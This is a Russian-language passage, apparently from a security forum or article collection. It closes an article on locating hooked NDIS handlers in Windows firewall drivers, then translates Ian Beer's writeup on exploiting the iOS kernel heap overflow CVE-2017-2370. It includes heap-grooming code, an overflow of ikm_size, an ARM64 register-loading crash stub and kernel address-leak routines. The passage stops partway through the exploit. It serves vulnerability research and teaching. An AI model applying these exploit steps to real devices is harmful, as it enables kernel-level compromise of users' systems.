+0x044 ReceiveCompleteHandler : 0xf81e07ed void tcpip!ARPRcvComplete+0
+0x048 WanReceiveHandler : (null)
+0x04c RequestCompleteHandler : 0xf81e6f0b void tcpip!ARPRequestComplete+0
+0x050 ReceivePacketHandler : 0x816540a8
+0x054 SendPacketsHandler : 0x81654028
+0x058 ResetHandler : 0xf9660b56 int NDIS!ndisMReset+0
+0x05c RequestHandler : 0xf965d8b7 int NDIS!ndisMRequestX+0
+0x060 ResetCompleteHandler : 0xf82166a3 void tcpip!ARPResetComplete+0
+0x064 StatusHandler : 0xf81f7922 void tcpip!ARPStatus+0
+0x068 StatusCompleteHandler : 0xf81f781b void tcpip!ARPStatusComplete+0
...
Обработчики, адреса которых не принадлежат драйверам tcipip.sys или NDIS.sys, являются перехваченными (в приведённом примере их адреса выделены жирным шрифтом). После того, как обработчики принадлежащие драйверу файрвола, найдены, на них можно поставить break point в отладчике и проследить, каким образом обрабатываются принятые сетевые пакеты. Кто знает, может где-то в недрах драйвера найдётся уязвимость, подходящая для удалённой эксплуатации.
Выводы
Уязвимости есть практически везде, и драйверы не являются исключением. Само
ядро Windows достаточно безопасно и изучено вдоль и поперек, а это означает,
что главной причиной наличия уязвимостей по-прежнему остаётся человеческий
фактор со стороны разработчиков уже конкретного конечного продукта, а не
программной платформы на которой он работает. Безусловно, кроме ядра в Windows
есть множество других компонентов, работающих в режиме ядра, уязвимости в
которых находили, находят, и будут находить, но это уже проблемы исключительно
Microsoft, и от ответственности они никого не избавляют. В случае с защитным
ПО ситуация также усугубляется тем, что даже самый качественный и тщательно
протестированный программный код может не сыграть в конечном итоге никакой
роли, если на этапе его проектирования достаточного внимания не было уделено
фундаментальности подхода к разработке самой архитектуры и базовых принципов
работы защиты. Однако я очень надеюсь, что кого-то из разработчиков моя статья
заставит задуматься и сделать определённые выводы, которые впоследствии
скажутся на результатах их работы самым положительным образом. В конце концов,
ничего сложного в написании «непробиваемого» кода нет, нужны всего лишь
чуточка внимания и немного аналитического мышления.
Автор: Олексюк Дмитрий
Автор: Ian Beer
В этой статье рассматривается процесс обнаружения и эксплуатации уязвимости
[CVE-2017-2370](https://bugs.chromium.org/p/project-
zero/issues/detail?id=1004) на базе переполнения буфера кучи в функции
mach_voucher_extract_attr_recipe_trap
, которая представляет собой системный
вызов ядра Mach (или Mach trap). В заметке продемонстрирована техника
эксплуатации при помощи неоднократных и преднамеренных крахов, а также способы
реализации функций интроспекции ядра в режиме реального времени на основе
устаревших эксплоитов.
Это ловушка!
Наряду с большим количеством системных вызовов системы
BSD
(ioctl, mmap, execve и так далее) в ядре XNU есть немного дополнительных
системных вызовов системы
MACH,
которые называются mach trap. Системные вызовы mach trap начинаются с адреса
0x1000000. Ниже показан участок кода из файла
syscall_sw.c,
где определена таблица mach_trap_table
:
Code:Copy to clipboard
/* 12 */ MACH_TRAP(_kernelrpc_mach_vm_deallocate_trap, 3, 5, munge_wll),
/* 13 */ MACH_TRAP(kern_invalid, 0, 0, NULL),
/* 14 */ MACH_TRAP(_kernelrpc_mach_vm_protect_trap, 5, 7, munge_wllww),
Большинство системных вызовов mach trap представляют собой быстрые пути к API-
функциям ядра, которые также доступны через стандартные функции, связанные с
генератором интерфейсов MACH MIG (Mach Interface Generator). Например,
mach_vm_allocate
одновременно является функцией MIG RPC, которая может быть
вызвана через порт задачи (task port).
Системные вызовы mach trap предоставляют более быстрые интерфейсы к этим функциям ядра без издержек сериализации и десериализации, возникающих во время вызова в ядре методов MIG API. Однако без автогенирируемого сложного кода mach trap’ы зачастую вынуждены выполнять множество операций «ручного» парсинга аргументов, в которых достаточно сложно разобраться.
В iOS 10 в таблице mach_traps появилась новая запись:
Code:Copy to clipboard
/* 72 */ MACH_TRAP(mach_voucher_extract_attr_recipe_trap, 4, 4, munge_wwww),
Код в начале системного вызова будет упаковывать аргументы, переданные из пользовательской части (userspace), в структуру ниже:
Code:Copy to clipboard
struct mach_voucher_extract_attr_recipe_args {
PAD_ARG_(mach_port_name_t, voucher_name);
PAD_ARG_(mach_voucher_attr_key_t, key);
PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
PAD_ARG_(user_addr_t, recipe_size);
};
Затем указатель на эту структуру будет передаваться в код, реализующий системный вызов, в качестве первого аргумента. Важно отметить, что все новые добавленные системные вызовы можно вызывать из любого процесса, находящегося внутри песочницы. До тех пор, пока вы не доберетесь до хука, отвечающего за управление доверенным доступом (на данном этапе ничего подобного не существует) песочница не предоставляет никакой защиты.
Рассмотрим код системного вызова:
Code:Copy to clipboard
kern_return_t
mach_voucher_extract_attr_recipe_trap(
struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))
return KERN_MEMORY_ERROR;
Функция copyin по семантике схожа с copy_from_user
, используемой в Linux.
Эта функция копирует 4 байта из указателя args->recipe_size
пользовательской
части (userspace) в переменную sz
, находящуюся в стеке ядра. Перед
копированием проверяется, чтобы весь исходный диапазон полностью находится в
userspace. В случае, если исходный диапазон не полностью находится в userspace
или указывает на память ядра, возвращается код ошибки. Теперь переменная sz
находится под контролем злоумышленника.
Code:Copy to clipboard
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
mach_msg_type_number_t
представляет собой 32-битный беззнаковый тип, и
переменная sz должна быть меньше или равна размеру
MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE
(5120 байта), чтобы выполнение
кода продолжалось дальше.
Функция convert_port_name_to_voucher
просматривает присутствия имени порта
ядра Mach (args->voucher_name
) в пространстве имен портов, принадлежащего
вызываемой задаче. Далее происходит проверка, является ли полученное имя
объектом ipc_voucher
и возвращается ссылка на voucher (если эта ссылка
существует). Таким образом, нам нужно присвоить корректный порт ваучера в
переменную voucher_name
, чтобы выполнение кода продолжалось дальше.
Code:Copy to clipboard
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher,
args->key, (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
}
Если переменная sz
меньше, чем константа MACH_VOUCHER_TRAP_STACK_LIMIT (256
байт), в стеке ядра выделяется небольшой массив элементов переменной длины,
после чего байты переменной sz из указателя ядра на userspace в аргументе
args->recipe
копируются в созданный массив. Затем происходит вызов целевого
метода mach_voucher_extract_attr_recipe
и далее вызов функции copyout
(которая принимает аргументы ядра и userspace в обратном порядке по сравнению
с функцией copyin
) с целью копирования результатов обратно в userspace. На
первый взгляд все выглядит довольно логичным.
Рассмотрим, что происходит, если переменная sz - слишком большая, и набор параметров «остается в стеке ядра для ускорения обработки»:
Code:Copy to clipboard
else {
uint8_t *krecipe = kalloc((vm_size_t)sz);
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
Рассмотрим повнимательнее участок кода, показанный выше. Вначале вызывается
kalloc
с целью выделения места под переменную sz
в куче ядра и присвоения
адреса созданного места переменной krecipe
. Затем вызывается copyin для
копирования байтов указателя на userspace из аргумента args->recipe_size
в
буфер krecipe
, находящийся в куче ядра.
Если вы еще не заметили уязвимость, возвращаемся к первоначальному коду и начинаем повторное изучение. Как раз тот случай, когда брешь с первого взгляда не видна.
Чтобы понять природу проблемы, вначале важно разобраться, что послужило написать код именно в таком виде.
Рецепт копипасты
Выше показан кода метода mach_voucher_extract_attr_recipe_trap из файла
mach_kernelrpc.c. Существует схожий системный вызов
host_create_mach_voucher_trap
.
Обе эти функции имеют ветки кода, предназначенные для входных данных малого и
большого размера с комментарием /* keep small recipes on the stack for speed */
(сохранение набора параметров небольшого размера в стеке для ускорения
обработки) в той части, которая отвечает за обработку данных небольшого
размера. Кроме того, в обеих функциях происходит выделение памяти в той ветке,
где происходит обработка данных большого размера.
Совершенно очевидно, что код из системного вызова
mach_voucher_extract_attr_recipe_trap
был скопирован в системный вызов
host_create_mach_voucher_trap
и немного доработан из-за небольшой разницы в
прототипах. Разница заключается в том, что аргумент, связанный с размером, в
функции host_create_mach_voucher_trap
является целочисленным (integer), а
тот же самый аргумент в функции mach_voucher_extract_attr_recipe_trap
является указателем на целочисленное значение.
Сей факт означает, что в системном вызове
mach_voucher_extract_attr_recipe_trap
требуется дополнительный уровень
косвенности. Вначале нужно выполнить функцию copyin
для аргумента,
связанного с размером. Более того, аргумент связанный с размером, в
первоначальной функции назывался recipes_size
, а в новой функции тот же
аргумент называется recipe_size
(в первом слове отсутствует буква s).
Ниже показаны участки кода обеих функций. Первый участок работает правильно. Во втором присутствует уязвимость:
Code:Copy to clipboard
host_create_mach_voucher_trap:
if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
kfree(krecipes, (vm_size_t)args->recipes_size);
kr = KERN_MEMORY_ERROR;
goto done;
}
mach_voucher_extract_attr_recipe_trap:
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
Мое предположение – разработчик скопировал код целой функции, а затем
попытался добавить дополнительный уровень косвенности, но забыл изменить
третий аргумент функции copyin
(см. выше). При компиляции ядра XNU возникли
сообщения об ошибках. XNU собирается при помощи утилиты
clang, представляющей собой оболочку для
компилятора, которая выдает изящные сообщения об
ошибкахподобного рода:
Code:Copy to clipboard
error: no member named 'recipes_size' in 'struct mach_voucher_extract_attr_recipe_args'; did you mean 'recipe_size'?
if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
^~~~~~~~~~~~
recipe_size
Clang предполагает, что разработчик сделал опечатку и добавил лишнюю букву
‘s’
, но не может определить, что подсказка полностью ошибочна и приводит к
критической проблеме, связанной с нарушением целостности памяти. Я
предполагаю, что разработчик последовал совету clang, удалил букву ‘s’
и
пересобрал код уже без ошибок.
Построение примитивов
В функции copyin, используемой в iOS, возникает ошибка, если аргумент
связанный с адресом, больше 0x4000000. Поскольку переменная recipes_size
должна быть корректным указателем на userspace, мы должны уметь спроецировать
(map) адрес в начальные участки памяти. В 64-битном iOS-приложении подобное
можно сделать, указав небольшое значение в параметре pagezero_size
компоновщика. Мы можем полностью управлять размером копии, если наши данные
выровнены в точности по окончанию страницы. Затем можно выполнить отвязку
(unmapping) страницы памяти. Как только copyin достигнет отвязанной исходной
страницы памяти, возникнет ошибка, и функция остановит выполнение.
Рисунок 1: Схема размещения страниц памяти
Если в функции copyin возникнет ошибка, буфер kalloced
будет тут же очищен.
В итоге мы можем выделить место в куче размером от 256 до 5120 байт при помощи
kalloc
и сделать переполнение с полностью управляемой информацией.
При создании нового эксплоита я провожу много времени в поиске новых примитивов. Например, объектов, размещенных в куче, которые, в случае успешного переполнения, станут причиной возникновения интересных эффектов. В данном контексте прилагательное «интересный» означает, что, если я смогу нарушить целостность памяти, то смогу построить хороший примитив на базе уже имеющихся объектов.
Обычно моей конечной целью является соединение примитивов с целью выполнения управляемых, повторяемых и надежных операций чтения/записи в память.
Чтобы решить эту задачу, я всегда ищу объекты, которые содержат длину или размер поля, который можно нарушить без нарушения остальных указателей. Обычно нахождение подобных объектов полностью окупает время, потраченное на исследование.
Все, кто когда-либо писал эксплоиты для браузера, скорее всего, знакомы с этой схемой.
Структура ipc_kmsg
В процессе чтения и изучения кода ядра XNU на предмет присутствия интересных
примитивов я натолкнулся на структуру ipc_kmsg
:
Code:Copy to clipboard
struct ipc_kmsg {
mach_msg_size_t ikm_size;
struct ipc_kmsg *ikm_next;
struct ipc_kmsg *ikm_prev;
mach_msg_header_t *ikm_header;
ipc_port_t ikm_prealloc;
ipc_port_t ikm_voucher;
mach_msg_priority_t ikm_qos;
mach_msg_priority_t ikm_qos_override
struct ipc_importance_elem *ikm_importance;
queue_chain_t ikm_inheritance;
};
Эта структура, в которой есть элемент, связанный с размером поля, целостность
которого можно нарушить без знания значений любых других указателей. Посмотрим
назначение поля ikm_size
.
При поиске перекрестных ссылок на ikm_size внутри кода выясняется, что это поле используется в небольшом количестве мест:
Code:Copy to clipboard
void ipc_kmsg_free(ipc_kmsg_t kmsg);
Функция выше использует поле kmsg->ikm_size
для освобождения объекта kmsg
в корректной зоне, выделенной функцией kalloc
. Аллокатор зоны будет
детектировать освобождение в неправильной зоне и выдавать ошибку (или
паниковать), и вначале нам нужно поменять размер, перед освобождением
поврежденной структуры ipc_kmsg
.
Следующий макрос используется для установки поля ikm_size
:
Code:Copy to clipboard
#define ikm_init(kmsg, size) \
MACRO_BEGIN \
(kmsg)->ikm_size = (size); \
Следующий макрос использует поле ikm_size
для установки указателя
ikm_header
:
Code:Copy to clipboard
#define ikm_set_header(kmsg, mtsize) \
MACRO_BEGIN \
(kmsg)->ikm_header = (mach_msg_header_t *) \
((vm_offset_t)((kmsg) + 1) + (kmsg)->ikm_size - (mtsize)); \
MACRO_END
Макрос выше использует поле ikm_size
для установки поля ikm_header
таким
образом, что сообщение выравнивается по концу буфера. Сей факт представляет
для нас определенный интерес.
В конце функции ipc_kmsg_get_from_kernel
есть такая проверка:
Code:Copy to clipboard
if (msg_and_trailer_size > kmsg->ikm_size - max_desc) {
ip_unlock(dest_port);
return MACH_SEND_TOO_LARGE;
}
Здесь поле ikm_size
используется с целью проверки, достаточно ли места в
буфере ikm_kmsg
для сообщения.
Кажется, в случае нарушения целостности поля ikm_size
ядро будет «считать»,
что буфер для сообщения больше, чем есть на самом деле, и в большинстве
случаев будет происходить запись содержимого сообщения за пределы границ.
Кроме того, мы только что переполнением кучи ядра спровоцировали еще одно
переполнение кучи ядра. Различие заключается в том, что в этот раз нарушение
целостности ipc_kmsg
позволяет считывать память за пределами границ. Поэтому
нарушение целостности поля ikm_size
– весьма интересная и перспективная тема
для изучения.
Отсылка сообщения
Структуры ikm_kmsg
используются для хранения транзитных сообщений ядра mach.
При отсылке сообщений из userspace мы оказываемся внутри функции
ipc_kmsg_alloc
. Если сообщение маленькое (меньше, чем IKM_SAVED_MSG_SIZE
)
тогда в коде происходит поиск в локальном кэше процессора на предмет
присутствия недавно освобожденных структур ikm_kmsg
. Если ничего не найдено,
будет размещено новое кэшируемое сообщение из зоны, выделенной функцией
zalloc
для структуры ipc_kmsg
.
Большие сообщения минуют кэш и размещаются напрямую функцией kalloc
,
работающей как универсальный аллокатор в куче ядра. После размещения буфера
структура сразу же инициализируется при помощи двух макросов, показанных
ранее:
Code:Copy to clipboard
kmsg = (ipc_kmsg_t)kalloc(ikm_plus_overhead(max_expanded_size));
...
if (kmsg != IKM_NULL) {
ikm_init(kmsg, max_expanded_size);
ikm_set_header(kmsg, msg_and_trailer_size);
}
return(kmsg);
До тех пор, пока мы можем нарушать целостность поля ikm_size
в тех двух
макросах, самое интересное, что нам доступно – освобождение сообщения в
ошибочную зону и вызов немедленной ошибки (паники). Прямо скажем, не очень
полезная возможность.
Однако функция ikm_set_header
также вызывается из другого места:
ipc_kmsg_get_from_kernel
.
Эта функция используется только когда ядро Mach отсылается настоящее сообщение; данный метод, к примеру, не используется для отсылки ответов MIG- функциям (связанным с генератором интефрейсов в ядре Mach). Комментарии внутри функции еще больше проясняют ситуацию:
При помощи метода mach_port_allocate_full
из userspace мы можем разметить
новый mach-порт, содержащий единственный, предварительно выделенный, буфер
ikm_kmsg
управляемого размера. Наша цель – позволить userspace получать
критические сообщение без выделения пространства внутри кучи ядра. Каждый раз,
когда ядро посылает реальное mach-сообщение, вначале происходит проверка,
содержит ли порт один из предварительно выделенных буферов. Кроме того,
проверяется, используются ли эти буферы в данный момент. Затем осуществляется
переход к следующему коду (я удалил все, связанное с блокировками и имеющее
отношений только к 32-битной архитектуре, с целью повышения читабельности):
Code:Copy to clipboard
if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {
mach_msg_size_t max_desc = 0;
kmsg = dest_port->ip_premsg;
if (ikm_prealloc_inuse(kmsg)) {
ip_unlock(dest_port);
return MACH_SEND_NO_BUFFER;
}
if (msg_and_trailer_size > kmsg->ikm_size - max_desc) {
ip_unlock(dest_port);
return MACH_SEND_TOO_LARGE;
}
ikm_prealloc_set_inuse(kmsg, dest_port);
ikm_set_header(kmsg, msg_and_trailer_size);
ip_unlock(dest_port);
...
(void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);
В коде выше происходит проверка, удовлетворяет ли сообщение размеру
(сравнивается со значением kmsg->ikm_size
). Далее предварительно выделенный
буфер помечается как используемый в данный момент, вызывается макрос
ikm_set_header
для установки значения ikm_header
таким образом, чтобы
сообщение выравнивалось по концу буфера. В конце вызывается функция memcpy для
копирования сообщения в структуру ipc_kmsg
.
Рисунок 2: Схема размещения структуры в буфере
Сей факт означает, что если мы можем нарушить целостность поля ikm_size в
предварительно выделенной структуре ipc_kmsg
, сделав размер больше, чем есть
на самом деле, то после того как ядро отправит сообщение, содержимое сообщения
запишется после окончания выделенного буфера.
Поле ikm_header
также используется при приеме mach-сообщения, и, если мы
выведем сообщение из очереди, произойдет чтение за пределами границ. Если мы
сможем перезаписать содержимое после буфера, выделенного для сообщения,
информацией, которую мы хотим прочитать, то затем сможем повторно считать эти
данные как часть содержимого сообщения.
Этот новый примитив, построением которого мы занимаемся в данный момент, будет полезен и в другом случае. Если наша схема сработает, мы сможем многократно и управляемо выполнять операции чтения/записи вне границ без постоянного обращения к уязвимости.
Механика исключений
При работе с предварительно выделенными сообщениями есть одна трудность,
связанная с тем, что подобная схема используется только, когда ядро отсылает
сообщение нам. То есть мы не можем просто взять и отослать сообщение с
управляемыми данными и использовать структуру ipc_kmsg
. Нам нужно заставить
ядро отправить сообщение с информацией, которой мы управляем, что сделать
намного сложнее.
Существует очень немного мест, где ядро отсылает в пользовательскую часть
mach-сообщение. Есть несколько типов уведомлений, например, IODataQueue
(уведомления о доступности данных), IOServiceUserNotifications
и уведомления
отсутствии отправителей (no-senders notification). Подобного рода сообщения
обычно содержат мало информации, которая подконтрольна пользователю.
Единственный тип сообщений, посылаемый ядром, который содержит приличное
количество управляемых данных – сообщения, связанные с исключениями.
Когда поток останавливается (например, при попытке доступа к нераспределенной памяти или вызове инструкции, связанной с программной точкой останова), ядро отсылает сообщение об исключении на зарегистрированный порт обработчика исключений, связанного с потоком.
Если в потоке нет порта обработчика исключений, ядро будет пытаться отослать сообщение на порт обработчика исключений, связанного с задачей. В случае неудачи, сообщение об исключении будет доставлено на глобальный порт, собирающий исключения. Обычно поток может самостоятельно установить порт исключений, но для установки порта исключений для хоста требуются определенные привилегии.
Code:Copy to clipboard
routine thread_set_exception_ports(
thread : thread_act_t;
exception_mask : exception_mask_t;
new_port : mach_port_t;
behavior : exception_behavior_t;
new_flavor : thread_state_flavor_t);
Выше показано MIG-определение структуры thread_set_exception_ports
. Поле
new_port
определяет права на отправку для нового порта, связанного с
исключениями. Поле exception_mask позволяет ограничить типы исключений,
которые мы хотим обрабатывать. Поле behavior
определяет какой тип сообщений
об исключениях мы хотим получать. Поле new_flavor
задает тип состояния
процесса, который будет включен в сообщение.
Если в поле exception_mask
установить константу EXC_MASK_ALL
, в поле
behavior
- константу EXCEPTION_STATE
, в поле new_flavor
- константу
ARM_THREAD_STATE64
, всякий раз, когда в определенном потоке возникают
нештатные ситуации, ядро будет отсылать сообщение функции
exception_raise_state на порт, связанный с исключениями, который мы укажем.
Отсылаемое сообщение будет содержать состояние всех регистров общего
назначения архитектуры ARM64 и то, что мы будем использовать для записи
управляемых данных в конец буфера структуры ipc_kmsg
.
Немного ассемблера
В нашем проекте в XCode мы можем добавить новый файл с ассемблерным кодом и
определить функцию load_regs_and_crash
:
Code:Copy to clipboard
.text
.globl _load_regs_and_crash
.align 2
_load_regs_and_crash:
mov x30, x0
ldp x0, x1, [x30, 0]
ldp x2, x3, [x30, 0x10]
ldp x4, x5, [x30, 0x20]
ldp x6, x7, [x30, 0x30]
ldp x8, x9, [x30, 0x40]
ldp x10, x11, [x30, 0x50]
ldp x12, x13, [x30, 0x60]
ldp x14, x15, [x30, 0x70]
ldp x16, x17, [x30, 0x80]
ldp x18, x19, [x30, 0x90]
ldp x20, x21, [x30, 0xa0]
ldp x22, x23, [x30, 0xb0]
ldp x24, x25, [x30, 0xc0]
ldp x26, x27, [x30, 0xd0]
ldp x28, x29, [x30, 0xe0]
brk 0
.align 3
Эта функция принимает указатель на буфер размером 240 байт в качестве первого
аргумента. Затем устанавливаются значения из того буфера в первые 30 регистров
общего назначения архитектуры ARM64 таким образом, что при возникновении
программного прерывания через инструкцию brk 0
и отсылке ядром сообщения об
исключении, в сообщении байты из входного буфера были в том же порядке.
На данный момент мы нашли способ получить управляемый блок информации в
сообщении, который будет отсылаться в предварительно выделенный порт. Теперь
возникает задача вычисления значения, которое нужно перезаписать в поле
ikm_size
так, чтобы управляемый блок информации пересекался с началом
следующего объекта кучи. Нужное значение можно вычислить статически, но
намного проще воспользоваться отладчиком ядра и посмотреть, как обстоят дела
на самом деле. Однако проблема заключается в том, iOS работает на очень
защищенном оборудовании без поддержки отладки на уровне ядра.
Самодельный отладчик
У правильного отладчика есть две основные функции: точки останова и операции
чтения/записи в память. Реализация точек останова – дело непростое, но мы все
равно можем организовать среду отладки лишь при помощи операций работы с
памятью.
Здесь существует проблема, связанная с первоначальной загрузкой. Нам
понадобится эксплоит для ядра, который даст доступ к памяти ядра, чтобы
разработать эксплоит ядра, дающий доступ к памяти ядра! В декабре 2016 года я
опубликовал проект [mach_portal](https://bugs.chromium.org/p/project-
zero/issues/detail?id=965#c2)с эксплоитами для ядра операционной системы iOS,
которые позволяют читать/писать в память. Кроме того, дополнительно я написал
несколько функций для исследования ядра, которые помогают искать структуры
задачи процесса и объекты, связанные с mach-портами, по имени. Мы можем
достроить дополнительный уровень для выгрузки указателя объекта kobject
,
привязанного к mach-порту.
Первая версия нового эксплоита была разработана внутри проекта mach_portal (в xcode), и я мог многократно использовать весь код. После того как все заработало, я портировал проект из iOS 10.1.1 в iOS 10.2.
Внутри проекта mach_portal я смог найти адрес предварительно выделенного буфера порта при помощи следующего кода:
Code:Copy to clipboard
// allocate an ipc_kmsg:
kern_return_t err;
mach_port_qos_t qos = {0};
qos.prealloc = 1;
qos.len = size;
mach_port_name_t name = MACH_PORT_NULL;
err = mach_port_allocate_full(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
MACH_PORT_NULL,
&qos,
&name);
uint64_t port = get_port(name);
uint64_t prealloc_buf = rk64(port+0x88);
printf("0x%016llx,\n", prealloc_buf);
Функция get_port была частью эксплоита в проекте mach_portal и определена так:
uint64_t get_port(mach_port_name_t port_name){
return proc_port_name_to_port_ptr(our_proc, port_name);
}
uint64_t proc_port_name_to_port_ptr(uint64_t proc, mach_port_name_t port_name) {
uint64_t ports = get_proc_ipc_table(proc);
uint32_t port_index = port_name >> 8;
uint64_t port = rk64(ports + (0x18*port_index)); //ie_object
return port;
}
uint64_t get_proc_ipc_table(uint64_t proc) {
uint64_t task_t = rk64(proc + struct_proc_task_offset);
uint64_t itk_space = rk64(task_t + struct_task_itk_space_offset);
uint64_t is_table = rk64(itk_space + struct_ipc_space_is_table_offset);
return is_table;
}
Эти участки кода используются в функции rk64()
в эксплоите проекта
mach_portal, которая читает память ядра через порт задачи ядра.
Я использовал эту функцию и методом проб и ошибок смог определить корректное
значение для перезаписи поля ikm_size
, чтобы выровнять управляемый блок
информации в сообщении об исключении с началом следующего объекта кучи.
Поиск информации
Последняя часть паззла – поиск места, где находится блок управляемой
информации. Вместо использования условий write-what-where, позволяющих
записать информацию вне допустимых границ, мы хотим понять, что-где находится.
Один из способов решения этой задачи в контексте эксплоита, используемого для
расширения локальных привилегий, - поместить данные в userspace. Однако защита
на аппаратном уровне (например, функция SMAP
в архитектуре x86 или
микросхема AMCC в iPhone 7) очень затрудняет поиск. Мы будем конструировать
новый примитив для нахождения буфера структуры ipc_kmsg
в памяти ядра.
На данный момент я еще не коснулся вопроса о том, как найти размещение
структуры ipc_kmsg
, рядом с буфером, который мы хотим переполнять. Стефан
Эссер рассматривал вопрос, связанный с выделением кучи функцией zalloc
, в
серии докладов. В последнем докладе рассказывались детали о рандомизации
списка свободной памяти
зоны(zone
freelist randomization).
В процессе экспериментов с кучей при помощи техник интроспекции, описанных
выше, я заметил, что некоторые участки приближены к линейному распределению
(последние участки являются смежными). Сей факт происходит потому, что функция
zalloc
получает страницы из низкоуровнего аллокатора. В процессе исчерпания
ресурсов определенной зоны мы можем заставить zalloc
получать новые
страницы, и, если размер выделения близок к размеру страницы, мы практически
сразу вернем страницу обратно.
Соответственно, мы можем воспользоваться следующим кодом:
Code:Copy to clipboard
int prealloc_size = 0x900; // kalloc.4096
for (int i = 0; i < 2000; i++){
prealloc_port(prealloc_size);
}
// these will be contiguous now, convenient!
mach_port_t holder = prealloc_port(prealloc_size);
mach_port_t first_port = prealloc_port(prealloc_size);
mach_port_t second_port = prealloc_port(prealloc_size);
для получения участка кучи, который выглядит примерно так:
Рисунок 3: Схема одного из участков кучи
Этот метод не очень надежен. Для устройств с большим объемом RAM придется увеличивать количество циклов для исчерпания ресурсов зоны. Техника в целом хорошая, но только в исследовательских целях, а не в боевых условиях.
Мы можем освободить порт владельца (holder), вызвать переполнение с целью повторного использования области памяти владельца с последующим переполнением первого порта, а затем считать область память заново, содержащую другой порт владельца:
Code:Copy to clipboard
// free the holder:
mach_port_destroy(mach_task_self(), holder);
// reallocate the holder and overflow out of it
uint64_t overflow_bytes[] = {0x1104,0,0,0,0,0,0,0};
do_overflow(0x1000, 64, overflow_bytes);
// grab the holder again
holder = prealloc_port(prealloc_size);
Рисунок 4: Схема и результаты переполнения. После перезаписи поля
ikm_sizeструктуры ipc_kmsgпервого порта заголовок ikm_headerуказывает на
второй порт таким образом, что у сообщений об исключениях, отсылаемых на
первый порт, содержимое состояний регистров будет записано поверх первых 240
байт структуры ipc_kmsgвторого порта
После переполнения в поле ikm_size
предварительно выделенной структуры
ipc_kmsg
, принадлежащей первому порту, было установлено значение 0x1104.
После заполнения структуры ipc_kmsg
при помощи метода
ipc_get_kmsg_from_kernel
, происходит постановка в очередь отложенных
сообщений целевого порта при помощи метода ipc_kmsg_enqueue
:
Code:Copy to clipboard
void ipc_kmsg_enqueue(ipc_kmsg_queue_t queue,
ipc_kmsg_t kmsg)
{
ipc_kmsg_t first = queue->ikmq_base;
ipc_kmsg_t last;
if (first == IKM_NULL) {
queue->ikmq_base = kmsg;
kmsg->ikm_next = kmsg;
kmsg->ikm_prev = kmsg;
} else {
last = first->ikm_prev;
kmsg->ikm_next = first;
kmsg->ikm_prev = last;
first->ikm_prev = kmsg;
last->ikm_next = kmsg;
}
}
Если у порта есть отложенные сообщения поля ikm_next
и ikm_prev
структуры
ipc_kmsg
формируют двунаправленный список отложенных сообщений. Однако если
у порта нет отложенных сообщений поля ikm_next
и ikm_prev
указывают на
объект kmsg. Подобное чередование сообщений при отправках и приемах позволяет
нам повторно считать адрес буфера структуры ipc_kmsg
.
Code:Copy to clipboard
uint64_t valid_header[] = {0xc40, 0, 0, 0, 0, 0, 0, 0};
send_prealloc_msg(first_port, valid_header, 8);
// send a message to the second port
// writing a pointer to itself in the prealloc buffer
send_prealloc_msg(second_port, valid_header, 8);
// receive on the first port, reading the header of the second:
uint64_t* buf = receive_prealloc_msg(first_port);
// this is the address of second port
kernel_buffer_base = buf[1];
Рисунок 5: Схема получения адреса структуры ipc_kmsgвторого порта
Сводим воедино схему получения адреса (перевод с Рисунка 5):
ipc_kmsg
второго порта (с корректным размером).ipc_kmsg
поверх сообщения, отсылаемого на первый порт, которое будет записывать адрес структуры ipc_kmsg
второго порта в сообщение, отсылаемого на первый порт.Ниже показана реализация функции send_prealloc_msg
:
Code:Copy to clipboard
void send_prealloc_msg(mach_port_t port, uint64_t* buf, int n) {
struct thread_args* args = malloc(sizeof(struct thread_args));
memset(args, 0, sizeof(struct thread_args));
memcpy(args->buf, buf, n*8);
args->exception_port = port;
// start a new thread passing it the buffer and the exception port
pthread_t t;
pthread_create(&t, NULL, do_thread, (void*)args);
// associate the pthread_t with the port
// so that we can join the correct pthread
// when we receive the exception message and it exits:
kern_return_t err = mach_port_set_context(mach_task_self(),
port,
(mach_port_context_t)t);
// wait until the message has actually been sent:
while(!port_has_message(port)){;}
}
Не следует забывать, что для помещения управляемого блока информации внутрь
предварительно выделенной структуры ipc_kmsg
порта, необходимо, чтобы ядро
отослало сообщение об исключении на этот порт. Функция send_prealloc_msg
должна инициировать данное исключение. Этот метод размещает структуру struct thread_args
, содержащую копию управляемого блока информации, которая должна
оказаться в сообщении и целевом порту. Затем создается новый поток, в котором
вызывается функция do_thread
:
Code:Copy to clipboard
void* do_thread(void* arg) {
struct thread_args* args = (struct thread_args*)arg;
uint64_t buf[32];
memcpy(buf, args->buf, sizeof(buf));
kern_return_t err;
err = thread_set_exception_ports(mach_thread_self(),
EXC_MASK_ALL,
args->exception_port,
EXCEPTION_STATE,
ARM_THREAD_STATE64);
free(args);
load_regs_and_crash(buf);
return NULL;
}
Метод do_thread
копирует блок управляемой информации из структуры
thread_args
в локальный буфер. Затем устанавливает целевой порт в качестве
обработчика исключений потока. Далее структура с аргументами очищается и
вызывается функция load_regs_and_crash
, представляющая собой ассемблерную
заглушку (assembler stub), которая копирует буфер в первые 30 регистров общего
назначения архитектуры ARM и активирует программную точку останова.
